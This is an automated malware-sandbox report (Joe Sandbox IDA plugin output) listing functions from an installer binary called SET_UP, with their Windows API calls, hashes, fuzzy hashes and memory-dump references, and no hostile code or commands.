Opcode ID: a4d405698afe0fcf8c48f1b7d44fb4037e1c664a5782d6547cc81796af0b474f
Instruction ID: 725dc357a680061500f53bb2dcc7c1fa24b423ad7c104e8d5f5a14053ffef257
Opcode Fuzzy Hash: a4d405698afe0fcf8c48f1b7d44fb4037e1c664a5782d6547cc81796af0b474f
Instruction Fuzzy Hash: 72415D71A447059FE720DF65DC48B57B7E8FF44710F008A2EF94AC2A50EB79E8488BA5

Function 000B54F0 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,?,00000001,?,?,?), ref: 000B554C
SetWindowPos.USER32(00000000,00000000,?,00000000,?,?,00000004,00000000,?,?,?,?), ref: 000B559F
InvalidateRect.USER32(?,00000000,00000001,00000000,?,?,?,?), ref: 000B55BD
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004,?,?,?,?), ref: 000B560E
InvalidateRect.USER32(?,00000001,00000001,?,?,?,?), ref: 000B563B

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: InvalidateRect$Window
String ID:
API String ID: 2579585970-0
Opcode ID: 0ee901e49cfc860cd78338c37e530fe424e969af1a56cfbd36cff95d799501fb
Instruction ID: 881fe75c92e975b0bfa0dc56d532886c3702e4bb229c0b11a30c8f5411e0c38d
Opcode Fuzzy Hash: 0ee901e49cfc860cd78338c37e530fe424e969af1a56cfbd36cff95d799501fb
Instruction Fuzzy Hash: 4D41BB31204B049FD624CF28D856BABB3E9EFC8715F404A5DF54997290EB70EC058BA2

Function 0007E3C0 Relevance: 7.6, APIs: 5, Instructions: 96fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0007E030: SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?,0CE81EE3,?,?), ref: 0007E084
Part of subcall function 0007E030: GetTempPathW.KERNEL32(00000104,?,?,?,?), ref: 0007E119
Part of subcall function 0007E030: GetTempFileNameW.KERNEL32(?,shim_clone,00000000,?,?,?,?,?,?,?), ref: 0007E14A
Part of subcall function 0007E030: Wow64DisableWow64FsRedirection.KERNEL32(00000000,?), ref: 0007E17D

GetFileVersionInfoSizeW.VERSION(?,?,?,0CE81EE3), ref: 0007E40D
GetFileVersionInfoW.VERSION(?,?,?,?,00000000,?,0CE81EE3), ref: 0007E439
VerQueryValueW.VERSION(?,0012A660,?,?,?,0CE81EE3), ref: 0007E451
GetLastError.KERNEL32(?,0CE81EE3), ref: 0007E47E
DeleteFileW.KERNEL32(?,?,0CE81EE3), ref: 0007E491

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: File$InfoPathTempVersionWow64$DeleteDisableErrorFolderLastNameQueryRedirectionSizeValue
String ID:
API String ID: 3336923870-0
Opcode ID: 7ac183b0a1ae90c1afd95a677715c9a23a1d6d7fa94098b0c12f4ddb33bdaf9e
Instruction ID: 8604feb8b4fdbf67dd75bdbf70e2d36e5e55be87482e0990f4dc40a64aecb8b8
Opcode Fuzzy Hash: 7ac183b0a1ae90c1afd95a677715c9a23a1d6d7fa94098b0c12f4ddb33bdaf9e
Instruction Fuzzy Hash: D3319071D02249EFDB14CFA5CD44BEEBBB8EF0C710F148199E809A7281D7389940CBA4

Function 0008A5B0 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003), ref: 0008A641
VerSetConditionMask.KERNEL32(00000000,?,?,?), ref: 0008A645
VerSetConditionMask.KERNEL32(00000000), ref: 0008A649
VerifyVersionInfoW.KERNEL32(?), ref: 0008A66E
SendMessageW.USER32(00000000,00000432,00000000,00000000), ref: 0008A6CF

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ConditionMask$InfoMessageSendVerifyVersion
String ID:
API String ID: 980217771-0
Opcode ID: b3b0f46151651a0be0929e9e50e18afb89700f4c9c8b94ac92eaf086c15b9e2f
Instruction ID: ca3e0fd43936895aaa378ff73c7287323437323500f5b85a8c11ea8dde299994
Opcode Fuzzy Hash: b3b0f46151651a0be0929e9e50e18afb89700f4c9c8b94ac92eaf086c15b9e2f
Instruction Fuzzy Hash: 0F3160B0658384AFE320CF24DD49B9BBBE8FFC9704F00491EB98897290D7B59544CB96

Function 000BD8C7 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,0012E6B0,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 000BD913
lstrcmpiW.KERNEL32(?,0012E6B8,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 000BD92A

Strings

amp, xrefs: 000BD939
6, xrefs: 000BD994

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: lstrcmpi
String ID: 6$amp
API String ID: 1586166983-240142227
Opcode ID: cc9aee1d8f6df13b32a9b3cd146e533577ee75267d51ce72ff85a0d20af504e7
Instruction ID: 73da8ad097268480b5072806805efe5d66d015b132c5925c473a22ac2385f2a0
Opcode Fuzzy Hash: cc9aee1d8f6df13b32a9b3cd146e533577ee75267d51ce72ff85a0d20af504e7
Instruction Fuzzy Hash: FC31AC30904289EBDB55CF28CD40ACDBBE5AF11354F14825AF9049B2E2E7B6DA05CF91

Function 000DCE50 Relevance: 7.6, APIs: 5, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(00000000,?), ref: 000DCEA1
SendMessageW.USER32(00000000,00000402,?,00000000), ref: 000DCEC4
GetWindowLongW.USER32(00000000,000000F0), ref: 000DCEDE
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 000DCEF3
SendMessageW.USER32(00000000,0000040A,00000000,00000000), ref: 000DCF05

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$LongMessageSend$Text
String ID:
API String ID: 115269875-0
Opcode ID: ebd7dee80bbf3089f43fc68e38cb529736b3c85c25399a74ec0c22239e7e5c19
Instruction ID: 26e6ebae41a766ca9ca5c6de78b5e7c6b54c94bb3834fa0c453c07be333ba7f4
Opcode Fuzzy Hash: ebd7dee80bbf3089f43fc68e38cb529736b3c85c25399a74ec0c22239e7e5c19
Instruction Fuzzy Hash: FF11E9B2244302ABEF740B18DD45F6F77E2AB55720F10891BF26392AF1C730AC50DA61

Function 0008A84B Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 0008A860
GetWindowLongW.USER32(?,000000FC), ref: 0008A875
CallWindowProcW.USER32(?,?,00000082,?,?), ref: 0008A88B
GetWindowLongW.USER32(?,000000FC), ref: 0008A8A5
SetWindowLongW.USER32(?,000000FC,?), ref: 0008A8B5

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Long$CallProc
String ID:
API String ID: 513923721-0
Opcode ID: c6593363a59e5ad710577f43e6b3da88b8745fb6de4c3c94f908d2158d2f37ab
Instruction ID: 616feb59253b70ccf1b47931d3d8a358ea7476ad1bfb02e273c43567381cd7fb
Opcode Fuzzy Hash: c6593363a59e5ad710577f43e6b3da88b8745fb6de4c3c94f908d2158d2f37ab
Instruction Fuzzy Hash: 90213E71608700EFD724AF29DD84957BBF5FF89320B108A2EF4D682A70D732E8519B61

Function 0009E0D0 Relevance: 7.6, APIs: 5, Instructions: 62synchronizationnetworkCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?,?,?,?,0009D552,?,?,?,?,?,00000003,00000000,0CE81EE3,?,?), ref: 0009E0E3
InternetConnectW.WININET(0009D552,0009D552,0009D552,0009D552,0009D552,0009D552,0009D552), ref: 0009E106
GetLastError.KERNEL32(?,?,?,0009D552,?,?,?,?,?,00000003,00000000,0CE81EE3,?,?), ref: 0009E110
WaitForSingleObject.KERNEL32(?,0000000A,?,?,?,0009D552,?,?,?,?,?,00000003,00000000,0CE81EE3,?,?), ref: 0009E141
SetEvent.KERNEL32(?,?,?,?,0009D552,?,?,?,?,?,00000003,00000000,0CE81EE3,?,?), ref: 0009E166

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Event$ConnectErrorInternetLastObjectResetSingleWait
String ID:
API String ID: 3866874665-0
Opcode ID: a36d0b628ed0786fcb58ddd2250a6c3239d002d349166159cc85681cb68e7721
Instruction ID: 53b4235706519d71e4cac90248ca7de465d5af6f194e8d85b253da142757c779
Opcode Fuzzy Hash: a36d0b628ed0786fcb58ddd2250a6c3239d002d349166159cc85681cb68e7721
Instruction Fuzzy Hash: C711C232240780DFDB709B65E988B977BD4EB95725F10882AE08382971C331EC95E790

Function 000AF5D0 Relevance: 7.6, APIs: 5, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,0CE81EE3), ref: 000AF60C
GetLastError.KERNEL32(?,?,?,?,0011056D,000000FF), ref: 000AF62A
ReadFile.KERNEL32(00000000,?,00000004,?,00000000,?,?,?,?,0011056D,000000FF), ref: 000AF640
GetLastError.KERNEL32(?,?,?,?,0011056D,000000FF), ref: 000AF64A
CloseHandle.KERNEL32(00000000,?,?,?,?,0011056D,000000FF), ref: 000AF669

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleRead
String ID:
API String ID: 3160720760-0
Opcode ID: c84fd2172950b1109c8c4d6575bae36d6dee066369fec4ea937d69e1c273809e
Instruction ID: 4b637c138094134f775297039ddd5ef67c3852031f7fc903812c7cc1fe1767e0
Opcode Fuzzy Hash: c84fd2172950b1109c8c4d6575bae36d6dee066369fec4ea937d69e1c273809e
Instruction Fuzzy Hash: C311C435940205EBD7208FA4DD05BAEBBB8EB09B20F20832AFA15F72D0D77159408BE4

Function 000B6710 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(-00000020), ref: 000B672B
GetWindowLongW.USER32(?,000000EC), ref: 000B6735
GetSystemMetrics.USER32(-0000002D), ref: 000B674F
GetSystemMetrics.USER32(-0000002D), ref: 000B676C
SystemParametersInfoW.USER32(00000026,00000000,?,00000000), ref: 000B677D

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: System$Metrics$InfoLongParametersWindow
String ID:
API String ID: 72108969-0
Opcode ID: f467620ef57ce52eb1f0de5c205aa9dd86ca3b6f058685cf9cde0765bda3d0c8
Instruction ID: 71f0dc673ca61c067995dcba8ca6406d8e45101dfe06b550d6d6e31d9b6d0cbb
Opcode Fuzzy Hash: f467620ef57ce52eb1f0de5c205aa9dd86ca3b6f058685cf9cde0765bda3d0c8
Instruction Fuzzy Hash: 1401D4726583001FE7615B35CE59BEBBBE8EF48314F18482EE4C2D2991DA7CE8808B50

Function 000E06A0 Relevance: 7.5, APIs: 5, Instructions: 47stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,C000008C,00000001,80004005,0CE81EE3), ref: 000E06BB
lstrcpynW.KERNEL32(?,?,00000001,?,C000008C,00000001,80004005,0CE81EE3), ref: 000E06D5
lstrlenW.KERNEL32(0CE81EE3,?,C000008C,00000001,80004005,0CE81EE3), ref: 000E06E0
lstrcpynW.KERNEL32(?,0CE81EE3,00000001,?,C000008C,00000001,80004005,0CE81EE3), ref: 000E06FA
Shell_NotifyIconW.SHELL32(00000001,?), ref: 000E071A

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: lstrcpynlstrlen$IconNotifyShell_
String ID:
API String ID: 1698051517-0
Opcode ID: 2c0bf415382c98c75e8c3807c55cd7c64f68cc3544f4b532c29b7f697b35e288
Instruction ID: 2ddc317945d007cb858ca8a70133e036abaa1e921a4d1c799107064327276a43
Opcode Fuzzy Hash: 2c0bf415382c98c75e8c3807c55cd7c64f68cc3544f4b532c29b7f697b35e288
Instruction Fuzzy Hash: A7015E72541259AFDB25CF94ED48BEA37ECEF49310F00842AF946C7241C670DA909BA1

Function 000FD8B2 Relevance: 7.5, APIs: 5, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 000FD8CA

Part of subcall function 000F550A: HeapFree.KERNEL32(00000000,00000000,?,000FDB53,?,00000000,?,?,?,000FDDF6,?,00000007,?,?,000FE29B,?), ref: 000F5520
Part of subcall function 000F550A: GetLastError.KERNEL32(?,?,000FDB53,?,00000000,?,?,?,000FDDF6,?,00000007,?,?,000FE29B,?,?), ref: 000F5532

_free.LIBCMT ref: 000FD8DC
_free.LIBCMT ref: 000FD8EE
_free.LIBCMT ref: 000FD900
_free.LIBCMT ref: 000FD912

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 91198fd06eb4bb12c10281fbd6279174e040895d9c9242c36209d77af3021f07
Instruction ID: 94ddfae557d5966b402ac1d86302d959ad7590af50aaf6aad30ce86e3b9bc245
Opcode Fuzzy Hash: 91198fd06eb4bb12c10281fbd6279174e040895d9c9242c36209d77af3021f07
Instruction Fuzzy Hash: FCF0B233504A1AA78660DBA8E9C5C6B77DBBB01B617640806F34DD7D91CB30FD80AAA4

Function 000B86D0 Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 000B870F
GetParent.USER32(00000000), ref: 000B8712
GetParent.USER32(00000000), ref: 000B8715
ShowWindow.USER32(00000000,00000002), ref: 000B8722
ShowWindow.USER32(00000000,00000001), ref: 000B8727

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Parent$ShowWindow
String ID:
API String ID: 4286518374-0
Opcode ID: 1f38327f2a9def9768d7d6bc5ff92bed3b352418aaa9ce9f0f89f39bd587b923
Instruction ID: a489e60217ee75f205f78597dd313bfaa2d0b11895f7c5a173cd5f714679da7d
Opcode Fuzzy Hash: 1f38327f2a9def9768d7d6bc5ff92bed3b352418aaa9ce9f0f89f39bd587b923
Instruction Fuzzy Hash: A2F06235A44220ABCA619B14DD08E9ABFA9FF85754F25C45AF5446B250CB31DC42CBD0

Function 000E71EA Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0014A5E4,?,?,00074247,0014B204,0011AB90), ref: 000E71F4
LeaveCriticalSection.KERNEL32(0014A5E4,?,?,00074247,0014B204,0011AB90), ref: 000E7227
RtlWakeAllConditionVariable.NTDLL ref: 000E729E
SetEvent.KERNEL32(?,00074247,0014B204,0011AB90), ref: 000E72A8
ResetEvent.KERNEL32(?,00074247,0014B204,0011AB90), ref: 000E72B4

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
String ID:
API String ID: 3916383385-0
Opcode ID: 6cec8e9980d8300890a9794535017b6b28d0d850863fcbb15fc652318e75b10c
Instruction ID: fa60001c702c64927b278c80ef4c2231deae260407bcbec95d214cf19195e1c9
Opcode Fuzzy Hash: 6cec8e9980d8300890a9794535017b6b28d0d850863fcbb15fc652318e75b10c
Instruction Fuzzy Hash: B5016939AC4120EFC709AF18FE089D97BA8EB0A351742816AF90197B31CB351C818FD1

Function 0008AB70 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 384networkCOMMON

Download Yara Rule

APIs

InternetCreateUrlW.WININET(00000000,80000000,00000000,00000104), ref: 0008ADBA
GetLastError.KERNEL32 ref: 0008ADC4
InternetCreateUrlW.WININET(?,80000000,00000000,00000104), ref: 0008AE17

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Strings

<, xrefs: 0008ABA9

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CreateInternet$ErrorHeapLastProcess
String ID: <
API String ID: 1377955736-4251816714
Opcode ID: 6c8133061c9650fba5e4c18619294b815838860f39a8d52d9c1432ebc6e4d7ec
Instruction ID: 1e13341240eb638c69dc8598198c11a58501e5a2e1d6192b5e1632b9bcf5b546
Opcode Fuzzy Hash: 6c8133061c9650fba5e4c18619294b815838860f39a8d52d9c1432ebc6e4d7ec
Instruction Fuzzy Hash: 70F13A70A01649DFEB00DFA8C848B9EFBF4BF49315F148169E415AB292EB749D44CF91

Function 000D27B0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 344COMMON

Download Yara Rule

APIs

Part of subcall function 000B9130: CoCreateInstance.OLE32(0011C680,00000000,00000001,0011C670,?), ref: 000B9263

Part of subcall function 000BB0D0: CoCreateInstance.OLE32(0011C680,00000000,00000001,0011C670,?), ref: 000BB202

GetActiveWindow.USER32 ref: 000D29FF
SetLastError.KERNEL32(0000000E,?,?), ref: 000D2A38

Part of subcall function 000A3A50: GetCurrentThreadId.KERNEL32 ref: 000A3A86
Part of subcall function 000A3A50: EnterCriticalSection.KERNEL32(0014B390), ref: 000A3AA6
Part of subcall function 000A3A50: LeaveCriticalSection.KERNEL32(0014B390), ref: 000A3ACA

PropertySheetW.COMCTL32(?,?,00000000,?,00000000,00000000,?,?), ref: 000D2A62

Part of subcall function 000EEC0B: _free.LIBCMT ref: 000EEC1E

Strings

Updater wizard ended. Return code: , xrefs: 000D2AF8

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CreateCriticalInstanceSection$ActiveCurrentEnterErrorLastLeavePropertySheetThreadWindow_free
String ID: Updater wizard ended. Return code:
API String ID: 1481467818-3061603331
Opcode ID: 9f08c20b1e1ed817bea38f723747a274fa9638c77d96999b477b69a2d7f610c8
Instruction ID: efd493af789656f9e3ec6ece06c89190ce9f773f7b40b20453c0a0051d8539e2
Opcode Fuzzy Hash: 9f08c20b1e1ed817bea38f723747a274fa9638c77d96999b477b69a2d7f610c8
Instruction Fuzzy Hash: DDE158B1D00249DFDF14DFA8C955BEEBBF4AF18310F144169E519A7382D7B49A04CBA1

Function 000B0A10 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 220COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 000B0AC2
#173.MSI(00149B08,00000000,00000000,00000104,00000104,00000000,?,00149B08,00000001,00149B08,00000000), ref: 000B0B3A
#173.MSI(?,?,00000000,00000104,00000105), ref: 000B0B6F

Strings

APPDIR, xrefs: 000B0A3D

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: #173$_wcschr
String ID: APPDIR
API String ID: 539848783-1435851147
Opcode ID: e995902606df69c91aef58b82cc02a803d41d4e9bcdca56f37741d16c12c274c
Instruction ID: c0ef834aab9e318e23f274918323c68756fe50b2e7ccbb7a1bed34512a5e0bd4
Opcode Fuzzy Hash: e995902606df69c91aef58b82cc02a803d41d4e9bcdca56f37741d16c12c274c
Instruction Fuzzy Hash: 59611672A002099FDB10DF68C845BEFB7B4EF44324F148669E915A7381EB75AE40C7D1

